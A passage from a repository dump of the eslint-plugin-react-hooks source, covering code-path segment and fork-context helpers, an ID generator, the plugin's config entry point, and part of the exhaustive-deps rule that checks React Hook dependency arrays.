skip() {\n        if (stack.length <= 1) {\n          broken = true;\n        } else {\n          skippedSegment = stack[stack.length - 2][0];\n        }\n      },\n      break() {\n        broken = true;\n      },\n    };\n\n    /**\n     * Checks a given previous segment has been visited.\n     * @param {CodePathSegment} prevSegment A previous segment to check.\n     * @returns {boolean} `true` if the segment has been visited.\n     */\n    function isVisited(prevSegment) {\n      return (\n        visited[prevSegment.id] || segment.isLoopedPrevSegment(prevSegment)\n      );\n    }\n\n    while (stack.length > 0) {\n      item = stack[stack.length - 1];\n      segment = item[0];\n      index = item[1];\n\n      if (index === 0) {\n        // Skip if this segment has been visited already.\n        if (visited[segment.id]) {\n          stack.pop();\n          continue;\n        }\n\n        // Skip if all previous segments have not been visited.\n        if (\n          segment !== startSegment &&\n          segment.prevSegments.length > 0 &&\n          !segment.prevSegments.every(isVisited)\n        ) {\n          stack.pop();\n          continue;\n        }\n\n        // Reset the flag of skipping if all branches have been skipped.\n        if (skippedSegment && segment.prevSegments.includes(skippedSegment)) {\n          skippedSegment = null;\n        }\n        visited[segment.id] = true;\n\n        // Call the callback when the first time.\n        if (!skippedSegment) {\n          resolvedCallback.call(this, segment, controller);\n          if (segment === lastSegment) {\n            controller.skip();\n          }\n          if (broken) {\n            break;\n          }\n        }\n      }\n\n      // Update the stack.\n      end = segment.nextSegments.length - 1;\n      if (index < end) {\n        item[1] += 1;\n        stack.push([segment.nextSegments[index], 0]);\n      } else if (index === end) {\n        item[0] = segment.nextSegments[index];\n        item[1] = 0;\n      } else {\n        stack.pop();\n      }\n    }\n  }\n}\n\nmodule.exports = CodePath;\n"
  },
  {
    "path": "packages/eslint-plugin-react-hooks/src/code-path-analysis/fork-context.js",
    "content": "'use strict';\n\n//------------------------------------------------------------------------------\n// Requirements\n//------------------------------------------------------------------------------\n\n// eslint-disable-next-line\nconst assert = require('./assert');\n// eslint-disable-next-line\nconst CodePathSegment = require('./code-path-segment');\n\n//------------------------------------------------------------------------------\n// Helpers\n//------------------------------------------------------------------------------\n\n/**\n * Gets whether or not a given segment is reachable.\n * @param {CodePathSegment} segment A segment to get.\n * @returns {boolean} `true` if the segment is reachable.\n */\nfunction isReachable(segment) {\n  return segment.reachable;\n}\n\n/**\n * Creates new segments from the specific range of `context.segmentsList`.\n *\n * When `context.segmentsList` is `[[a, b], [c, d], [e, f]]`, `begin` is `0`, and\n * `end` is `-1`, this creates `[g, h]`. This `g` is from `a`, `c`, and `e`.\n * This `h` is from `b`, `d`, and `f`.\n * @param {ForkContext} context An instance.\n * @param {number} begin The first index of the previous segments.\n * @param {number} end The last index of the previous segments.\n * @param {Function} create A factory function of new segments.\n * @returns {CodePathSegment[]} New segments.\n */\nfunction makeSegments(context, begin, end, create) {\n  const list = context.segmentsList;\n\n  const normalizedBegin = begin >= 0 ? begin : list.length + begin;\n  const normalizedEnd = end >= 0 ? end : list.length + end;\n\n  const segments = [];\n\n  for (let i = 0; i < context.count; ++i) {\n    const allPrevSegments = [];\n\n    for (let j = normalizedBegin; j <= normalizedEnd; ++j) {\n      allPrevSegments.push(list[j][i]);\n    }\n\n    segments.push(create(context.idGenerator.next(), allPrevSegments));\n  }\n\n  return segments;\n}\n\n/**\n * `segments` becomes doubly in a `finally` block. Then if a code path exits by a\n * control statement (such as `break`, `continue`) from the `finally` block, the\n * destination's segments may be half of the source segments. In that case, this\n * merges segments.\n * @param {ForkContext} context An instance.\n * @param {CodePathSegment[]} segments Segments to merge.\n * @returns {CodePathSegment[]} The merged segments.\n */\nfunction mergeExtraSegments(context, segments) {\n  let currentSegments = segments;\n\n  while (currentSegments.length > context.count) {\n    const merged = [];\n\n    for (\n      let i = 0, length = (currentSegments.length / 2) | 0;\n      i < length;\n      ++i\n    ) {\n      merged.push(\n        CodePathSegment.newNext(context.idGenerator.next(), [\n          currentSegments[i],\n          currentSegments[i + length],\n        ]),\n      );\n    }\n    currentSegments = merged;\n  }\n  return currentSegments;\n}\n\n//------------------------------------------------------------------------------\n// Public Interface\n//------------------------------------------------------------------------------\n\n/**\n * A class to manage forking.\n */\nclass ForkContext {\n  /**\n   * @param {IdGenerator} idGenerator An identifier generator for segments.\n   * @param {ForkContext|null} upper An upper fork context.\n   * @param {number} count A number of parallel segments.\n   */\n  constructor(idGenerator, upper, count) {\n    this.idGenerator = idGenerator;\n    this.upper = upper;\n    this.count = count;\n    this.segmentsList = [];\n  }\n\n  /**\n   * The head segments.\n   * @type {CodePathSegment[]}\n   */\n  get head() {\n    const list = this.segmentsList;\n\n    return list.length === 0 ? [] : list[list.length - 1];\n  }\n\n  /**\n   * A flag which shows empty.\n   * @type {boolean}\n   */\n  get empty() {\n    return this.segmentsList.length === 0;\n  }\n\n  /**\n   * A flag which shows reachable.\n   * @type {boolean}\n   */\n  get reachable() {\n    const segments = this.head;\n\n    return segments.length > 0 && segments.some(isReachable);\n  }\n\n  /**\n   * Creates new segments from this context.\n   * @param {number} begin The first index of previous segments.\n   * @param {number} end The last index of previous segments.\n   * @returns {CodePathSegment[]} New segments.\n   */\n  makeNext(begin, end) {\n    return makeSegments(this, begin, end, CodePathSegment.newNext);\n  }\n\n  /**\n   * Creates new segments from this context.\n   * The new segments is always unreachable.\n   * @param {number} begin The first index of previous segments.\n   * @param {number} end The last index of previous segments.\n   * @returns {CodePathSegment[]} New segments.\n   */\n  makeUnreachable(begin, end) {\n    return makeSegments(this, begin, end, CodePathSegment.newUnreachable);\n  }\n\n  /**\n   * Creates new segments from this context.\n   * The new segments don't have connections for previous segments.\n   * But these inherit the reachable flag from this context.\n   * @param {number} begin The first index of previous segments.\n   * @param {number} end The last index of previous segments.\n   * @returns {CodePathSegment[]} New segments.\n   */\n  makeDisconnected(begin, end) {\n    return makeSegments(this, begin, end, CodePathSegment.newDisconnected);\n  }\n\n  /**\n   * Adds segments into this context.\n   * The added segments become the head.\n   * @param {CodePathSegment[]} segments Segments to add.\n   * @returns {void}\n   */\n  add(segments) {\n    assert(\n      segments.length >= this.count,\n      `${segments.length} >= ${this.count}`,\n    );\n\n    this.segmentsList.push(mergeExtraSegments(this, segments));\n  }\n\n  /**\n   * Replaces the head segments with given segments.\n   * The current head segments are removed.\n   * @param {CodePathSegment[]} segments Segments to add.\n   * @returns {void}\n   */\n  replaceHead(segments) {\n    assert(\n      segments.length >= this.count,\n      `${segments.length} >= ${this.count}`,\n    );\n\n    this.segmentsList.splice(-1, 1, mergeExtraSegments(this, segments));\n  }\n\n  /**\n   * Adds all segments of a given fork context into this context.\n   * @param {ForkContext} context A fork context to add.\n   * @returns {void}\n   */\n  addAll(context) {\n    assert(context.count === this.count);\n\n    const source = context.segmentsList;\n\n    for (let i = 0; i < source.length; ++i) {\n      this.segmentsList.push(source[i]);\n    }\n  }\n\n  /**\n   * Clears all segments in this context.\n   * @returns {void}\n   */\n  clear() {\n    this.segmentsList = [];\n  }\n\n  /**\n   * Creates the root fork context.\n   * @param {IdGenerator} idGenerator An identifier generator for segments.\n   * @returns {ForkContext} New fork context.\n   */\n  static newRoot(idGenerator) {\n    const context = new ForkContext(idGenerator, null, 1);\n\n    context.add([CodePathSegment.newRoot(idGenerator.next())]);\n\n    return context;\n  }\n\n  /**\n   * Creates an empty fork context preceded by a given context.\n   * @param {ForkContext} parentContext The parent fork context.\n   * @param {boolean} forkLeavingPath A flag which shows inside of `finally` block.\n   * @returns {ForkContext} New fork context.\n   */\n  static newEmpty(parentContext, forkLeavingPath) {\n    return new ForkContext(\n      parentContext.idGenerator,\n      parentContext,\n      (forkLeavingPath ? 2 : 1) * parentContext.count,\n    );\n  }\n}\n\nmodule.exports = ForkContext;\n"
  },
  {
    "path": "packages/eslint-plugin-react-hooks/src/code-path-analysis/id-generator.js",
    "content": "'use strict';\n\n/* eslint-disable react-internal/safe-string-coercion */\n\n//------------------------------------------------------------------------------\n// Public Interface\n//------------------------------------------------------------------------------\n\n/**\n * A generator for unique ids.\n */\nclass IdGenerator {\n  /**\n   * @param {string} prefix Optional. A prefix of generated ids.\n   */\n  constructor(prefix) {\n    this.prefix = String(prefix);\n    this.n = 0;\n  }\n\n  /**\n   * Generates id.\n   * @returns {string} A generated id.\n   */\n  next() {\n    this.n = (1 + this.n) | 0;\n\n    /* c8 ignore start */\n    if (this.n < 0) {\n      this.n = 1;\n    } /* c8 ignore stop */\n\n    return this.prefix + this.n;\n  }\n}\n\nmodule.exports = IdGenerator;\n"
  },
  {
    "path": "packages/eslint-plugin-react-hooks/src/index.ts",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\nimport type {Linter, Rule} from 'eslint';\n\nimport ExhaustiveDeps from './rules/ExhaustiveDeps';\nimport {\n  allRules,\n  mapErrorSeverityToESlint,\n  recommendedRules,\n  recommendedLatestRules,\n} from './shared/ReactCompiler';\nimport RulesOfHooks from './rules/RulesOfHooks';\n\nconst rules = {\n  'exhaustive-deps': ExhaustiveDeps,\n  'rules-of-hooks': RulesOfHooks,\n  ...Object.fromEntries(\n    Object.entries(allRules).map(([name, config]) => [name, config.rule]),\n  ),\n} satisfies Record<string, Rule.RuleModule>;\n\nconst basicRuleConfigs = {\n  'react-hooks/rules-of-hooks': 'error',\n  'react-hooks/exhaustive-deps': 'warn',\n} as const satisfies Linter.RulesRecord;\n\nconst recommendedCompilerRuleConfigs = Object.fromEntries(\n  Object.entries(recommendedRules).map(([name, ruleConfig]) => {\n    return [\n      `react-hooks/${name}` as const,\n      mapErrorSeverityToESlint(ruleConfig.severity),\n    ] as const;\n  }),\n) as Record<`react-hooks/${string}`, Linter.RuleEntry>;\n\nconst recommendedLatestCompilerRuleConfigs = Object.fromEntries(\n  Object.entries(recommendedLatestRules).map(([name, ruleConfig]) => {\n    return [\n      `react-hooks/${name}` as const,\n      mapErrorSeverityToESlint(ruleConfig.severity),\n    ] as const;\n  }),\n) as Record<`react-hooks/${string}`, Linter.RuleEntry>;\n\nconst recommendedRuleConfigs: Linter.RulesRecord = {\n  ...basicRuleConfigs,\n  ...recommendedCompilerRuleConfigs,\n};\nconst recommendedLatestRuleConfigs: Linter.RulesRecord = {\n  ...basicRuleConfigs,\n  ...recommendedLatestCompilerRuleConfigs,\n};\n\nconst plugins = ['react-hooks'];\n\ntype ReactHooksFlatConfig = {\n  plugins: {react: any};\n  rules: Linter.RulesRecord;\n};\n\nconst configs = {\n  recommended: {\n    plugins,\n    rules: recommendedRuleConfigs,\n  },\n  'recommended-latest': {\n    plugins,\n    rules: recommendedLatestRuleConfigs,\n  },\n  flat: {} as {\n    recommended: ReactHooksFlatConfig;\n    'recommended-latest': ReactHooksFlatConfig;\n  },\n};\n\nconst plugin = {\n  meta: {\n    name: 'eslint-plugin-react-hooks',\n    version: '7.0.0',\n  },\n  rules,\n  configs,\n};\n\nObject.assign(configs.flat, {\n  'recommended-latest': {\n    plugins: {'react-hooks': plugin},\n    rules: configs['recommended-latest'].rules,\n  },\n  recommended: {\n    plugins: {'react-hooks': plugin},\n    rules: configs.recommended.rules,\n  },\n});\n\nexport default plugin;\n"
  },
  {
    "path": "packages/eslint-plugin-react-hooks/src/rules/ExhaustiveDeps.ts",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n/* eslint-disable no-for-of-loops/no-for-of-loops */\nimport type {Rule, Scope} from 'eslint';\nimport type {\n  ArrayExpression,\n  ArrowFunctionExpression,\n  CallExpression,\n  Expression,\n  FunctionDeclaration,\n  FunctionExpression,\n  Identifier,\n  Node,\n  Pattern,\n  PrivateIdentifier,\n  Super,\n  VariableDeclarator,\n} from 'estree';\n\nimport {getAdditionalEffectHooksFromSettings} from '../shared/Utils';\n\ntype DeclaredDependency = {\n  key: string;\n  node: Node;\n};\n\ntype Dependency = {\n  isStable: boolean;\n  references: Array<Scope.Reference>;\n};\n\ntype DependencyTreeNode = {\n  isUsed: boolean; // True if used in code\n  isSatisfiedRecursively: boolean; // True if specified in deps\n  isSubtreeUsed: boolean; // True if something deeper is used by code\n  children: Map<string, DependencyTreeNode>; // Nodes for properties\n};\n\nconst rule = {\n  meta: {\n    type: 'suggestion',\n    docs: {\n      description:\n        'verifies the list of dependencies for Hooks like useEffect and similar',\n      recommended: true,\n      url: 'https://github.com/facebook/react/issues/14920',\n    },\n    fixable: 'code',\n    hasSuggestions: true,\n    schema: [\n      {\n        type: 'object',\n        additionalProperties: false,\n        enableDangerousAutofixThisMayCauseInfiniteLoops: false,\n        properties: {\n          additionalHooks: {\n            type: 'string',\n          },\n          enableDangerousAutofixThisMayCauseInfiniteLoops: {\n            type: 'boolean',\n          },\n          experimental_autoDependenciesHooks: {\n            type: 'array',\n            items: {\n              type: 'string',\n            },\n          },\n          requireExplicitEffectDeps: {\n            type: 'boolean',\n          },\n        },\n      },\n    ],\n  },\n  create(context: Rule.RuleContext) {\n    const rawOptions = context.options && context.options[0];\n    const settings = context.settings || {};\n\n    // Parse the `additionalHooks` regex.\n    // Use rule-level additionalHooks if provided, otherwise fall back to settings\n    const additionalHooks =\n      rawOptions && rawOptions.additionalHooks\n        ? new RegExp(rawOptions.additionalHooks)\n        : getAdditionalEffectHooksFromSettings(settings);\n\n    const enableDangerousAutofixThisMayCauseInfiniteLoops: boolean =\n      (rawOptions &&\n        rawOptions.enableDangerousAutofixThisMayCauseInfiniteLoops) ||\n      false;\n\n    const experimental_autoDependenciesHooks: ReadonlyArray<string> =\n      rawOptions && Array.isArray(rawOptions.experimental_autoDependenciesHooks)\n        ? rawOptions.experimental_autoDependenciesHooks\n        : [];\n\n    const requireExplicitEffectDeps: boolean =\n      (rawOptions && rawOptions.requireExplicitEffectDeps) || false;\n\n    const options = {\n      additionalHooks,\n      experimental_autoDependenciesHooks,\n      enableDangerousAutofixThisMayCauseInfiniteLoops,\n      requireExplicitEffectDeps,\n    };\n\n    function reportProblem(problem: Rule.ReportDescriptor) {\n      if (enableDangerousAutofixThisMayCauseInfiniteLoops) {\n        // Used to enable legacy behavior. Dangerous.\n        // Keep this as an option until major IDEs upgrade (including VSCode FB ESLint extension).\n        if (\n          Array.isArray(problem.suggest) &&\n          problem.suggest.length > 0 &&\n          problem.suggest[0]\n        ) {\n          problem.fix = problem.suggest[0].fix;\n        }\n      }\n      context.report(problem);\n    }\n\n    /**\n     * SourceCode that also works down to ESLint 3.0.0\n     */\n    const getSourceCode =\n      typeof context.getSourceCode === 'function'\n        ? () => {\n            return context.getSourceCode();\n          }\n        : () => {\n            return context.sourceCode;\n          };\n    /**\n     * SourceCode#getScope that also works down to ESLint 3.0.0\n     */\n    const getScope =\n      typeof context.getScope === 'function'\n        ? () => {\n            return context.getScope();\n          }\n        : (node: Node) => {\n            return context.sourceCode.getScope(node);\n          };\n\n    const scopeManager = getSourceCode().scopeManager;\n\n    // Should be shared between visitors.\n    const setStateCallSites = new WeakMap<\n      Expression | Super,\n      Pattern | null | undefined\n    >();\n    const stateVariables = new WeakSet<Identifier>();\n    const stableKnownValueCache = new WeakMap<Scope.Variable, boolean>();\n    const functionWithoutCapturedValueCache = new WeakMap<\n      Scope.Variable,\n      boolean\n    >();\n    const useEffectEventVariables = new WeakSet<Expression>();\n\n    function memoizeWithWeakMap(\n      fn: (resolved: Scope.Variable) => boolean,\n      map: WeakMap<Scope.Variable, boolean>,\n    ) {\n      return function (arg: Scope.Variable): boolean {\n        if (map.has(arg)) {\n          // to verify cache hits:\n          // console.log(arg.name)\n          return map.get(arg)!;\n        }\n        const result = fn(arg);\n        map.set(arg, result);\n        return result;\n      };\n    }\n    /**\n     * Visitor for both function expressions and arrow function expressions.\n     */\n    function visitFunctionWithDependencies(\n      node: ArrowFunctionExpression | FunctionDeclaration | FunctionExpression,\n      declaredDependenciesNode: Node | undefined,\n      reactiveHook: Node,\n      reactiveHookName: string,\n      isEffect: boolean,\n      isAutoDepsHook: boolean,\n    ): void {\n      if (isEffect && node.async) {\n        reportProblem({\n          node: node,\n          message:\n            `Effect callbacks are synchronous to prevent race conditions. ` +\n            `Put the async function inside:\\n\\n` +\n            'useEffect(() => {\\n' +\n            '  async function fetchData() {\\n' +\n            '    // You can await here\\n' +\n            '    const response = await MyAPI.getData(someId);\\n' +\n            '    // ...\\n' +\n            '  }\\n' +\n            '  fetchData();\\n' +\n            `}, [someId]); // Or [] if effect doesn't need props or state\\n\\n` +\n            'Learn more about data fetching with Hooks: https://react.dev/link/hooks-data-fetching',\n        });\n      }\n\n      // Get the current scope.\n      const scope = scopeManager.acquire(node);\n      if (!scope) {\n        throw new Error(\n          'Unable to acquire scope for the current node. This is a bug in eslint-plugin-react-hooks, please file an issue.',\n        );\n      }\n\n      // Find all our \"pure scopes\". On every re-render of a component these\n      // pure scopes may have changes to the variables declared within. So all\n      // variables used in our reactive hook callback but declared in a pure\n      // scope need to be listed as dependencies of our reactive hook callback.\n      //\n      // According to the rules of React you can't read a mutable value in pure\n      // scope. We can't enforce this in a lint so we trust that all variables\n      // declared outside of pure scope are indeed frozen.\n      const pureScopes = new Set();\n      let componentScope: Scope.Scope | null = null;\n      {\n        let currentScope = scope.upper;\n        while (currentScope) {\n          pureScopes.add(currentScope);\n          if (\n            currentScope.type === 'function' ||\n            // @ts-expect-error incorrect TS types\n            currentScope.type === 'hook' ||\n            // @ts-expect-error incorrect TS types\n            currentScope.type === 'component'\n          ) {\n            break;\n          }\n          currentScope = currentScope.upper;\n        }\n        // If there is no parent function scope then there are no pure scopes.\n        // The ones we've collected so far are incorrect. So don't continue with\n        // the lint.\n        if (!currentScope) {\n          return;\n        }\n        componentScope = currentScope;\n      }\n\n      const isArray = Array.isArray;\n\n      // Next we'll define a few helpers that helps us\n      // tell if some values don't have to be declared as deps.\n\n      // Some are known to be stable based on Hook calls.\n      // const [state, setState] = useState() / React.useState()\n      //               ^^^ true for this reference\n      // const [state, dispatch] = useReducer() / React.useReducer()\n      //               ^^^ true for this reference\n      // const [state, dispatch] = useActionState() / React.useActionState()\n      //               ^^^ true for this reference\n      // const ref = useRef()\n      //       ^^^ true for this reference\n      // const onStuff = useEffectEvent(() => {})\n      //       ^^^ true for this reference\n      // False for everything else.\n      function isStableKnownHookValue(resolved: Scope.Variable): boolean {\n        if (!isArray(resolved.defs)) {\n          return false;\n        }\n        const def = resolved.defs[0];\n        if (def == null) {\n          return false;\n        }\n        // Look for `let stuff = ...`\n        const defNode: VariableDeclarator = def.node;\n        if (defNode.type !== 'VariableDeclarator') {\n          return false;\n        }\n        let init = defNode.init;\n        if (init == null) {\n          return false;\n        }\n        while (init.type === 'TSAsExpression' || init.type === 'AsExpression') {\n          init = init.expression;\n        }\n        // Detect primitive constants\n        // const foo = 42\n        let declaration = defNode.parent;\n        if (declaration == null && componentScope != null) {\n          // This might happen if variable is declared after the callback.\n          // In that case ESLint won't set up .parent refs.\n          // So we'll set them up manually.\n          fastFindReferenceWithParent(componentScope.block, def.node.id);\n          declaration = def.node.parent;\n          if (declaration == null) {\n            return false;\n          }\n        }\n        if (\n          declaration != null &&\n          'kind' in declaration &&\n          declaration.kind === 'const' &&\n          init.type === 'Literal' &&\n          (typeof init.value === 'string' ||\n            typeof init.value === 'number' ||\n            init.value === null)\n        ) {\n          // Definitely stable\n          return true;\n        }\n        // Detect known Hook calls\n        // const [_, setState] = useState()\n        if (init.type !== 'CallExpression') {\n          return false;\n        }\n        let callee: Expression | PrivateIdentifier | Super = init.callee;\n        // Step into `= React.something` initializer.\n        if (\n          callee.type === 'MemberExpression' &&\n          'name' in callee.object &&\n          callee.object.name === 'React' &&\n          callee.property != null &&\n          !callee.computed\n        ) {\n          callee = callee.property;\n        }\n        if (callee.type !== 'Identifier') {\n          return false;\n        }\n        const definitionNode: VariableDeclarator = def.node;\n        const id = definitionNode.id;\n        const {name} = callee;\n        if (name === 'useRef' && id.type === 'Identifier') {\n          // useRef() return value is stable.\n          return true;\n        } else if (\n          isUseEffectEventIdentifier(callee) &&\n          id.type === 'Identifier'\n        ) {\n          for (const ref of resolved.references) {\n            // @ts-expect-error These types are not compatible (Reference and Identifier)\n            if (ref !== id) {\n              useEffectEventVariables.add(ref.identifier);\n            }\n          }\n          // useEffectEvent() return value is always unstable.\n          return true;\n        } else if (\n          name === 'useState' ||\n          name === 'useReducer' ||\n          name === 'useActionState'\n        ) {\n          // Only consider second value in initializing tuple stable.\n          if (\n            id.type === 'ArrayPattern' &&\n            id.elements.length === 2 &&\n            isArray(resolved.identifiers)\n          ) {\n            // Is second tuple value the same reference we're checking?\n            if (id.elements[1] === resolved.identifiers[0]) {\n              if (name === 'useState') {\n                const references = resolved.references;\n                let writeCount = 0;\n                for (const reference of references) {\n                  if (reference.isWrite()) {\n                    writeCount++;\n                  }\n                  if (writeCount > 1) {\n                    return false;\n                  }\n                  setStateCallSites.set(reference.identifier, id.elements[0]);\n                }\n              }\n              // Setter is stable.\n              return true;\n            } else if (id.elements[0] === resolved.identifiers[0]) {\n              if (name === 'useState') {\n                const references = resolved.references;\n                for (const reference of references) {\n                  stateVariables.add(reference.identifier);\n                }\n              }\n              // State variable itself is dynamic.\n              return false;\n            }\n          }\n        } else if (name === 'useTransition') {\n          // Only consider second value in initializing tuple stable.\n          if (\n            id.type === 'ArrayPattern' &&\n            id.elements.length === 2 &&\n            Array.isArray(resolved.identifiers)\n          ) {\n            // Is second tuple value the same reference we're checking?\n            if (id.elements[1] === resolved.identifiers[0]) {\n              // Setter is stable.\n              return true;\n            }\n          }\n        }\n        // By default assume it's dynamic.\n        return false;\n      }\n\n      // Some are just functions that don't reference anything dynamic.\n      function isFunctionWithoutCapturedValues(\n        resolved: Scope.Variable,\n      ): boolean {\n        if (!isArray(resolved.defs)) {\n          return false;\n        }\n        const def = resolved.defs[0];\n        if (def == null) {\n          return false;\n        }\n        if (def.node == null || def.node.id == null) {\n          return false;\n        }\n        // Search the direct component subscopes for\n        // top-level function definitions matching this reference.\n        const fnNode: Node = def.node;\n        const childScopes = componentScope?.childScopes || [];\n        let fnScope = null;\n        for (const childScope of childScopes) {\n          const childScopeBlock = childScope.block;\n          if (\n            // function handleChange() {}\n            (fnNode.type === 'FunctionDeclaration' &&\n              childScopeBlock === fnNode) ||\n            // const handleChange = () => {}\n            // const handleChange = function() {}\n            (fnNode.type === 'VariableDeclarator' &&\n              childScopeBlock.parent === fnNode)\n          ) {\n            // Found it!\n            fnScope = childScope;\n            break;\n          }\n        }\n        if (fnScope == null) {\n          return false;\n        }\n        // Does this function capture any values\n        // that are in pure scopes (aka render)?\n        for (const ref of fnScope.through) {\n          if (ref.resolved == null) {\n            continue;\n          }\n          if (\n            pureScopes.has(ref.resolved.scope) &&\n            // Stable values are fine though,\n            // although we won't check functions deeper.\n            !memoizedIsStableKnownHookValue(ref.resolved)\n          ) {\n            return false;\n          }\n        }\n        // If we got here, this function doesn't capture anything\n        // from render--or everything it captures is known stable.\n        return true;\n      }\n\n      // Remember such values. Avoid re-running extra checks on them.\n      const memoizedIsStableKnownHookValue = memoizeWithWeakMap(\n        isStableKnownHookValue,\n        stableKnownValueCache,\n      );\n      const memoizedIsFunctionWithoutCapturedValues = memoizeWithWeakMap(\n        isFunctionWithoutCapturedValues,\n        functionWithoutCapturedValueCache,\n      );\n\n      // These are usually mistaken. Collect them.\n      const currentRefsInEffectCleanup = new Map<\n        string,\n        {\n          reference: Scope.Reference;\n          dependencyNode: Identifier;\n        }\n      >();\n\n      // Is this reference inside a cleanup function for this effect node?\n      // We can check by traversing scopes upwards from the reference, and checking\n      // if the last \"return () => \" we encounter is located directly inside the effect.\n      function isInsideEffectCleanup(reference: Scope.Reference): boolean {\n        let curScope: Scope.Scope | null = reference.from;\n        let isInReturnedFunction = false;\n        while (curScope != null && curScope.block !== node) {\n          if (curScope.type === 'function') {\n            isInReturnedFunction =\n              curScope.block.parent != null &&\n              curScope.block.parent.type === 'ReturnStatement';\n          }\n          curScope = curScope.upper;\n        }\n        return isInReturnedFunction;\n      }\n\n      // Get dependencies from all our resolved references in pure scopes.\n      // Key is dependency string, value is whether it's stable.\n      const dependencies = new Map<string, Dependency>();\n      const optionalChains = new Map<string, boolean>();\n      gatherDependenciesRecursively(scope);\n\n      function gatherDependenciesRecursively(currentScope: Scope.Scope): void {\n        for (const reference of currentScope.references) {\n          // If this reference is not resolved or it is not declared in a pure\n          // scope then we don't care about this reference.\n          if (!reference.resolved) {\n            continue;\n          }\n          if (!pureScopes.has(reference.resolved.scope)) {\n            continue;\n          }\n\n          // Narrow the scope of a dependency if it is, say, a member expression.\n          // Then normalize the narrowed dependency.\n          const referenceNode = fastFindReferenceWithParent(\n            node,\n            reference.identifier,\n          );\n          if (referenceNode == null) {\n            continue;\n          }\n          const dependencyNode = getDependency(referenceNode);\n          const dependency = analyzePropertyChain(\n            dependencyNode,\n            optionalChains,\n          );\n\n          // Accessing ref.current inside effect cleanup is bad.\n          if (\n            // We're in an effect...\n            isEffect &&\n            // ... and this look like accessing .current...\n            dependencyNode.type === 'Identifier' &&\n            (dependencyNode.parent?.type === 'MemberExpression' ||\n              dependencyNode.parent?.type === 'OptionalMemberExpression') &&\n            !dependencyNode.parent.computed &&\n            dependencyNode.parent.property.type === 'Identifier' &&\n            dependencyNode.parent.property.name === 'current' &&\n            // ...in a cleanup function or below...\n            isInsideEffectCleanup(reference)\n          ) {\n            currentRefsInEffectCleanup.set(dependency, {\n              reference,\n              dependencyNode,\n            });\n          }\n\n          if (\n            dependencyNode.parent?.type === 'TSTypeQuery' ||\n            dependencyNode.parent?.type === 'TSTypeReference'\n          ) {\n            continue;\n          }\n\n          const def = reference.resolved.defs[0];\n          if (def == null) {\n            continue;\n          }\n          // Ignore references to the function itself as it's not defined yet.\n          if (def.node != null && def.node.init === node.parent) {\n            continue;\n          }\n          // Ignore Flow type parameters\n          if (\n            // @ts-expect-error We don't have flow types\n            def.type === 'TypeParameter' ||\n            // @ts-expect-error Flow-specific AST node type\n            dependencyNode.parent?.type === 'GenericTypeAnnotation'\n          ) {\n            continue;\n          }\n\n          // Add the dependency to a map so we can make sure it is referenced\n          // again in our dependencies array. Remember whether it's stable.\n          if (!dependencies.has(dependency)) {\n            const resolved = reference.resolved;\n            const isStable =\n              memoizedIsStableKnownHookValue(resolved) ||\n              memoizedIsFunctionWithoutCapturedValues(resolved);\n            dependencies.set(dependency, {\n              isStable,\n              references: [reference],\n            });\n          } else {\n            dependencies.get(dependency)?.references.push(reference);\n          }\n        }\n\n        for (const childScope of currentScope.childScopes) {\n          gatherDependenciesRecursively(childScope);\n        }\n      }\n\n      // Warn about accessing .current in cleanup effects.\n      currentRefsInEffectCleanup.forEach(\n        ({reference, dependencyNode}, dependency) => {\n          const references = reference.resolved?.references || [];\n          // Is React managing this ref or us?\n          // Let's see if we can find a .current assignment.\n          let foundCurrentAssignment = false;\n          for (const ref of references) {\n            const {identifier} = ref;\n            const {parent} = identifier;\n            if (\n              parent != null &&\n              // ref.current\n              // Note: no need to handle OptionalMemberExpression because it can't be LHS.\n              parent.type === 'MemberExpression' &&\n              !parent.computed &&\n              parent.property.type === 'Identifier' &&\n              parent.property.name === 'current' &&\n              // ref.current = <something>\n              parent.parent?.type === 'AssignmentExpression' &&\n              parent.parent.left === parent\n            ) {\n              foundCurrentAssignment = true;\n              break;\n            }\n          }\n          // We only want to warn about React-managed refs.\n          if (foundCurrentAssignment) {\n            return;\n          }\n          reportProblem({\n            // @ts-expect-error We can do better here (dependencyNode.parent has not been type narrowed)\n            node: dependencyNode.parent.property,\n            message:\n              `The ref value '${dependency}.current' will likely have ` +\n              `changed by the time this effect cleanup function runs. If ` +\n              `this ref points to a node rendered by React, copy ` +\n              `'${dependency}.current' to a variable inside the effect, and ` +\n              `use that variable in the cleanup function.`,\n          });\n        },\n      );\n\n      // Warn about assigning to variables in the outer scope.\n      // Those are usually bugs.\n      const staleAssignments = new Set<string>();\n      function reportStaleAssignment(writeExpr: Node, key: string): void {\n        if (staleAssignments.has(key)) {\n          return;\n        }\n        staleAssignments.add(key);\n        reportProblem({\n          node: writeExpr,\n          message:\n            `Assignments to the '${key}' variable from inside React Hook ` +\n            `${getSourceCode().getText(reactiveHook)} will be lost after each ` +\n            `render. To preserve the value over time, store it in a useRef ` +\n            `Hook and keep the mutable value in the '.current' property. ` +\n            `Otherwise, you can move this variable directly inside ` +\n            `${getSourceCode().getText(reactiveHook)}.`,\n        });\n      }\n\n      // Remember which deps are stable and report bad usage first.\n      const stableDependencies = new Set<string>();\n      dependencies.forEach(({isStable, references}, key) => {\n        if (isStable) {\n          stableDependencies.add(key);\n        }\n        references.forEach(reference => {\n          if (reference.writeExpr) {\n            reportStaleAssignment(reference.writeExpr, key);\n          }\n        });\n      });\n\n      if (staleAssignments.size > 0) {\n        // The intent isn't clear so we'll wait until you fix those first.\n        return;\n      }\n\n      if (!declaredDependenciesNode) {\n        if (isAutoDepsHook) {\n          return;\n        }\n        // Check if there are any top-level setState() calls.\n        // Those tend to lead to infinite loops.\n        let setStateInsideEffectWithoutDeps: string | null = null;\n        dependencies.forEach(({references}, key) => {\n          if (setStateInsideEffectWithoutDeps) {\n            return;\n          }\n          references.forEach(reference => {\n            if (setStateInsideEffectWithoutDeps) {\n              return;\n            }\n\n            const id = reference.identifier;\n            const isSetState = setStateCallSites.has(id);\n            if (!isSetState) {\n              return;\n            }\n\n            let fnScope: Scope.Scope | null = reference.from;\n            while (fnScope != null && fnScope.type !== 'function') {\n              fnScope = fnScope.upper;\n            }\n            const isDirectlyInsideEffect = fnScope?.block === node;\n            if (isDirectlyInsideEffect) {\n              // TODO: we could potentially ignore early returns.\n              setStateInsideEffectWithoutDeps = key;\n            }\n          });\n        });\n        if (setStateInsideEffectWithoutDeps) {\n          